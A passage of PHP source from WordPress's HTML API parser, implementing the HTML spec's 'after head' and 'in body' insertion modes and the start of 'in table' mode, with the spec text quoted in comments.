				/*
				 * > Push the node pointed to by the head element pointer onto the stack of open elements.
				 * > Process the token using the rules for the "in head" insertion mode.
				 * > Remove the node pointed to by the head element pointer from the stack of open elements. (It might not be the current node at this point.)
				 */
				$this->bail( 'Cannot process elements after HEAD which reopen the HEAD element.' );
				/*
				 * Do not leave this break in when adding support; it's here to prevent
				 * WPCS from getting confused at the switch structure without a return,
				 * because it doesn't know that `bail()` always throws.
				 */
				break;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto after_head_anything_else;
				break;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 * > Insert an HTML element for a "body" start tag token with no attributes.
		 */
		after_head_anything_else:
		$this->insert_virtual_node( 'BODY' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in body' insertion mode.
	 *
	 * This internal function performs the 'in body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_body(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * Any successive sequence of NULL bytes is ignored and won't
				 * trigger active format reconstruction. Therefore, if the text
				 * only comprises NULL bytes then the token should be ignored
				 * here, but if there are any other characters in the stream
				 * the active formats should be reconstructed.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->reconstruct_active_formatting_elements();

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 * > Parse error. Ignore the token.
			 */
			case 'html':
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					/*
					 * > Otherwise, for each attribute on the token, check to see if the attribute
					 * > is already present on the top element of the stack of open elements. If
					 * > it is not, add the attribute and its corresponding value to that element.
					 *
					 * This parser does not currently support this behavior: ignore the token.
					 */
				}

				// Ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * >
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "body"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+BODY':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					$this->state->stack_of_open_elements->contains( 'TEMPLATE' )
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, set the frameset-ok flag to "not ok"; then, for each attribute
				 * > on the token, check to see if the attribute is already present on the body
				 * > element (the second element) on the stack of open elements, and if it is
				 * > not, add the attribute and its corresponding value to that element.
				 *
				 * This parser does not currently support this behavior: ignore the token.
				 */
				$this->state->frameset_ok = false;
				return $this->step();

			/*
			 * > A start tag whose tag name is "frameset"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+FRAMESET':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					false === $this->state->frameset_ok
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, run the following steps:
				 */
				$this->bail( 'Cannot process non-ignored FRAMESET tags.' );
				break;

			/*
			 * > An end tag whose tag name is "body"
			 */
			case '-BODY':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				/*
				 * The BODY element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "address", "article", "aside",
			 * > "blockquote", "center", "details", "dialog", "dir", "div", "dl",
			 * > "fieldset", "figcaption", "figure", "footer", "header", "hgroup",
			 * > "main", "menu", "nav", "ol", "p", "search", "section", "summary", "ul"
			 */
			case '+ADDRESS':
			case '+ARTICLE':
			case '+ASIDE':
			case '+BLOCKQUOTE':
			case '+CENTER':
			case '+DETAILS':
			case '+DIALOG':
			case '+DIR':
			case '+DIV':
			case '+DL':
			case '+FIELDSET':
			case '+FIGCAPTION':
			case '+FIGURE':
			case '+FOOTER':
			case '+HEADER':
			case '+HGROUP':
			case '+MAIN':
			case '+MENU':
			case '+NAV':
			case '+OL':
			case '+P':
			case '+SEARCH':
			case '+SECTION':
			case '+SUMMARY':
			case '+UL':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				if (
					in_array(
						$this->state->stack_of_open_elements->current_node()->node_name,
						array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ),
						true
					)
				) {
					// @todo Indicate a parse error once it's possible.
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "pre", "listing"
			 */
			case '+PRE':
			case '+LISTING':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token,
				 * > then ignore that token and move on to the next one. (Newlines
				 * > at the start of pre blocks are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 */
			case '+FORM':
				$stack_contains_template = $this->state->stack_of_open_elements->contains( 'TEMPLATE' );

				if ( isset( $this->state->form_element ) && ! $stack_contains_template ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				if ( ! $stack_contains_template ) {
					$this->state->form_element = $this->state->current_token;
				}

				return true;

			/*
			 * > A start tag whose tag name is "li"
			 * > A start tag whose tag name is one of: "dd", "dt"
			 */
			case '+DD':
			case '+DT':
			case '+LI':
				$this->state->frameset_ok = false;
				$node                     = $this->state->stack_of_open_elements->current_node();
				$is_li                    = 'LI' === $token_name;

				in_body_list_loop:
				/*
				 * The logic for LI and DT/DD is the same except for one point: LI elements _only_
				 * close other LI elements, but a DT or DD element closes _any_ open DT or DD element.
				 */
				if ( $is_li ? 'LI' === $node->node_name : ( 'DD' === $node->node_name || 'DT' === $node->node_name ) ) {
					$node_name = $is_li ? 'LI' : $node->node_name;
					$this->generate_implied_end_tags( $node_name );
					if ( ! $this->state->stack_of_open_elements->current_node_is( $node_name ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( $node_name );
					goto in_body_list_done;
				}

				if (
					'ADDRESS' !== $node->node_name &&
					'DIV' !== $node->node_name &&
					'P' !== $node->node_name &&
					self::is_special( $node )
				) {
					/*
					 * > If node is in the special category, but is not an address, div,
					 * > or p element, then jump to the step labeled done below.
					 */
					goto in_body_list_done;
				} else {
					/*
					 * > Otherwise, set node to the previous entry in the stack of open elements
					 * > and return to the step labeled loop.
					 */
					foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
						$node = $item;
						break;
					}
					goto in_body_list_loop;
				}

				in_body_list_done:
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '+PLAINTEXT':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * @todo This may need to be handled in the Tag Processor and turn into
				 *       a single self-contained tag like TEXTAREA, whose modifiable text
				 *       is the rest of the input document as plaintext.
				 */
				$this->bail( 'Cannot process PLAINTEXT elements.' );
				break;

			/*
			 * > A start tag whose tag name is "button"
			 */
			case '+BUTTON':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'BUTTON' ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					$this->generate_implied_end_tags();
					$this->state->stack_of_open_elements->pop_until( 'BUTTON' );
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				return true;

			/*
			 * > An end tag whose tag name is one of: "address", "article", "aside", "blockquote",
			 * > "button", "center", "details", "dialog", "dir", "div", "dl", "fieldset",
			 * > "figcaption", "figure", "footer", "header", "hgroup", "listing", "main",
			 * > "menu", "nav", "ol", "pre", "search", "section", "summary", "ul"
			 */
			case '-ADDRESS':
			case '-ARTICLE':
			case '-ASIDE':
			case '-BLOCKQUOTE':
			case '-BUTTON':
			case '-CENTER':
			case '-DETAILS':
			case '-DIALOG':
			case '-DIR':
			case '-DIV':
			case '-DL':
			case '-FIELDSET':
			case '-FIGCAPTION':
			case '-FIGURE':
			case '-FOOTER':
			case '-HEADER':
			case '-HGROUP':
			case '-LISTING':
			case '-MAIN':
			case '-MENU':
			case '-NAV':
			case '-OL':
			case '-PRE':
			case '-SEARCH':
			case '-SECTION':
			case '-SUMMARY':
			case '-UL':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// @todo Report parse error.
					// Ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}
				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is "form"
			 */
			case '-FORM':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					$node                      = $this->state->form_element;
					$this->state->form_element = null;

					/*
					 * > If node is null or if the stack of open elements does not have node
					 * > in scope, then this is a parse error; return and ignore the token.
					 *
					 * @todo It's necessary to check if the form token itself is in scope, not
					 *       simply whether any FORM is in scope.
					 */
					if (
						null === $node ||
						! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' )
					) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();
					if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
						$this->bail( 'Cannot close a FORM when other elements remain open as this would throw off the breadcrumbs for the following tokens.' );
					}

					$this->state->stack_of_open_elements->remove_node( $node );
					return true;
				} else {
					/*
					 * > If the stack of open elements does not have a form element in scope,
					 * > then this is a parse error; return and ignore the token.
					 *
					 * Note that unlike in the clause above, this is checking for any FORM in scope.
					 */
					if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' ) ) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();

					if ( ! $this->state->stack_of_open_elements->current_node_is( 'FORM' ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( 'FORM' );
					return true;
				}
				break;

			/*
			 * > An end tag whose tag name is "p"
			 */
			case '-P':
				if ( ! $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->insert_html_element( $this->state->current_token );
				}

				$this->close_a_p_element();
				return true;

			/*
			 * > An end tag whose tag name is "li"
			 * > An end tag whose tag name is one of: "dd", "dt"
			 */
			case '-DD':
			case '-DT':
			case '-LI':
				if (
					/*
					 * An end tag whose tag name is "li":
					 * If the stack of open elements does not have an li element in list item scope,
					 * then this is a parse error; ignore the token.
					 */
					(
						'LI' === $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_list_item_scope( 'LI' )
					) ||
					/*
					 * An end tag whose tag name is one of: "dd", "dt":
					 * If the stack of open elements does not have an element in scope that is an
					 * HTML element with the same tag name as that of the token, then this is a
					 * parse error; ignore the token.
					 */
					(
						'LI' !== $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_scope( $token_name )
					)
				) {
					/*
					 * This is a parse error, ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags( $token_name );

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '-H1':
			case '-H2':
			case '-H3':
			case '-H4':
			case '-H5':
			case '-H6':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( '(internal: H1 through H6 - do not use)' ) ) {
					/*
					 * This is a parse error; ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags();

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}

				$this->state->stack_of_open_elements->pop_until( '(internal: H1 through H6 - do not use)' );
				return true;

			/*
			 * > A start tag whose tag name is "a"
			 */
			case '+A':
				foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
					switch ( $item->node_name ) {
						case 'marker':
							break 2;

						case 'A':
							$this->run_adoption_agency_algorithm();
							$this->state->active_formatting_elements->remove_node( $item );
							$this->state->stack_of_open_elements->remove_node( $item );
							break 2;
					}
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "b", "big", "code", "em", "font", "i",
			 * > "s", "small", "strike", "strong", "tt", "u"
			 */
			case '+B':
			case '+BIG':
			case '+CODE':
			case '+EM':
			case '+FONT':
			case '+I':
			case '+S':
			case '+SMALL':
			case '+STRIKE':
			case '+STRONG':
			case '+TT':
			case '+U':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "nobr"
			 */
			case '+NOBR':
				$this->reconstruct_active_formatting_elements();

				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'NOBR' ) ) {
					// Parse error.
					$this->run_adoption_agency_algorithm();
					$this->reconstruct_active_formatting_elements();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is one of: "a", "b", "big", "code", "em", "font", "i",
			 * > "nobr", "s", "small", "strike", "strong", "tt", "u"
			 */
			case '-A':
			case '-B':
			case '-BIG':
			case '-CODE':
			case '-EM':
			case '-FONT':
			case '-I':
			case '-NOBR':
			case '-S':
			case '-SMALL':
			case '-STRIKE':
			case '-STRONG':
			case '-TT':
			case '-U':
				$this->run_adoption_agency_algorithm();
				return true;

			/*
			 * > A start tag whose tag name is one of: "applet", "marquee", "object"
			 */
			case '+APPLET':
			case '+MARQUEE':
			case '+OBJECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A end tag token whose tag name is one of: "applet", "marquee", "object"
			 */
			case '-APPLET':
			case '-MARQUEE':
			case '-OBJECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// This is a parse error.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				return true;

			/*
			 * > A start tag whose tag name is "table"
			 */
			case '+TABLE':
				/*
				 * > If the Document is not set to quirks mode, and the stack of open elements
				 * > has a p element in button scope, then close a p element.
				 */
				if (
					WP_HTML_Tag_Processor::QUIRKS_MODE !== $this->compat_mode &&
					$this->state->stack_of_open_elements->has_p_in_button_scope()
				) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This is prevented from happening because the Tag Processor
			 * reports all closing BR tags as if they were opening tags.
			 */

			/*
			 * > A start tag whose tag name is one of: "area", "br", "embed", "img", "keygen", "wbr"
			 */
			case '+AREA':
			case '+BR':
			case '+EMBED':
			case '+IMG':
			case '+KEYGEN':
			case '+WBR':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "input"
			 */
			case '+INPUT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the token does not have an attribute with the name "type", or if it does,
				 * > but that attribute's value is not an ASCII case-insensitive match for the
				 * > string "hidden", then: set the frameset-ok flag to "not ok".
				 */
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					$this->state->frameset_ok = false;
				}

				return true;

			/*
			 * > A start tag whose tag name is one of: "param", "source", "track"
			 */
			case '+PARAM':
			case '+SOURCE':
			case '+TRACK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "hr"
			 */
			case '+HR':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "image"
			 */
			case '+IMAGE':
				/*
				 * > Parse error. Change the token's tag name to "img" and reprocess it. (Don't ask.)
				 *
				 * Note that this is handled elsewhere, so it should not be possible to reach this code.
				 */
				$this->bail( "Cannot process an IMAGE tag. (Don't ask.)" );
				break;

			/*
			 * > A start tag whose tag name is "textarea"
			 */
			case '+TEXTAREA':
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token, then ignore
				 * > that token and move on to the next one. (Newlines at the start of
				 * > textarea elements are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->state->frameset_ok = false;

				/*
				 * > Switch the insertion mode to "text".
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				return true;

			/*
			 * > A start tag whose tag name is "xmp"
			 */
			case '+XMP':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->reconstruct_active_formatting_elements();
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * A start tag whose tag name is "iframe"
			 */
			case '+IFRAME':
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noembed"
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOEMBED':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "select"
			 */
			case '+SELECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				switch ( $this->state->insertion_mode ) {
					/*
					 * > If the insertion mode is one of "in table", "in caption", "in table body", "in row",
					 * > or "in cell", then switch the insertion mode to "in select in table".
					 */
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
						break;

					/*
					 * > Otherwise, switch the insertion mode to "in select".
					 */
					default:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
						break;
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "optgroup", "option"
			 */
			case '+OPTGROUP':
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rb", "rtc"
			 */
			case '+RB':
			case '+RTC':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags();

					if ( $this->state->stack_of_open_elements->current_node_is( 'RUBY' ) ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rp", "rt"
			 */
			case '+RP':
			case '+RT':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags( 'RTC' );

					$current_node_name = $this->state->stack_of_open_elements->current_node()->node_name;
					if ( 'RTC' === $current_node_name || 'RUBY' === $current_node_name ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "math"
			 */
			case '+MATH':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust MathML attributes for the token. (This fixes the case of MathML attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'math';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is "svg"
			 */
			case '+SVG':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust SVG attributes for the token. (This fixes the case of SVG attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink in SVG.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'svg';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup",
			 * > "frame", "head", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+FRAME':
			case '+HEAD':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				// Parse error. Ignore the token.
				return $this->step();
		}

		if ( ! parent::is_tag_closer() ) {
			/*
			 * > Any other start tag
			 */
			$this->reconstruct_active_formatting_elements();
			$this->insert_html_element( $this->state->current_token );
			return true;
		} else {
			/*
			 * > Any other end tag
			 */

			/*
			 * Find the corresponding tag opener in the stack of open elements, if
			 * it exists before reaching a special element, which provides a kind
			 * of boundary in the stack. For example, a `</custom-tag>` should not
			 * close anything beyond its containing `P` or `DIV` element.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
				if ( 'html' === $node->namespace && $token_name === $node->node_name ) {
					break;
				}

				if ( self::is_special( $node ) ) {
					// This is a parse error, ignore the token.
					return $this->step();
				}
			}

			$this->generate_implied_end_tags( $token_name );
			if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
				// @todo Record parse error: this error doesn't impact parsing.
			}

			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->pop();
				if ( $node === $item ) {
					return true;
				}
			}
		}

		$this->bail( 'Should not have been able to reach end of IN BODY processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Parses next element in the 'in table' insertion mode.
	 *
	 * This internal function performs the 'in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token, if the current node is table,
			 * > tbody, template, tfoot, thead, or tr element
			 */
			case '#text':
				$current_node      = $this->state->stack_of_open_elements->current_node();
				$current_node_name = $current_node ? $current_node->node_name : null;
				if (
					$current_node_name && (
						'TABLE' === $current_node_name ||
						'TBODY' === $current_node_name ||
						'TEMPLATE' === $current_node_name ||
						'TFOOT' === $current_node_name ||
						'THEAD' === $current_node_name ||
						'TR' === $current_node_name
					)
				) {
					/*
					 * If the text is empty after processing HTML entities and stripping
					 * U+0000 NULL bytes then ignore the token.
					 */
					if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
						return $this->step();
					}

					/*
					 * This follows the rules for "in table text" insertion mode.
					 *
					 * Whitespace-only text nodes are inserted in-place. Otherwise
					 * foster parenting is enabled and the nodes would be
					 * inserted out-of-place.
					 *
					 * > If any of the tokens in the pending table character tokens
					 * > list are character tokens that are not ASCII whitespace,
					 * > then this is a parse error: reprocess the character tokens
					 * > in the pending table character tokens list using the rules
					 * > given in the "anything else" entry in the "in table"
					 * > insertion mode.
					 * >
					 * > Otherwise, insert the characters given by the pending table
					 * > character tokens list.
					 *
					 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
					 */
					if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
						$this->insert_html_element( $this->state->current_token );
						return true;
					}

					// Non-whitespace would trigger fostering, unsupported at this time.
					$this->bail( 'Foster parenting is not supported.' );
					break;
				}
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "caption"
			 */
			case '+CAPTION':
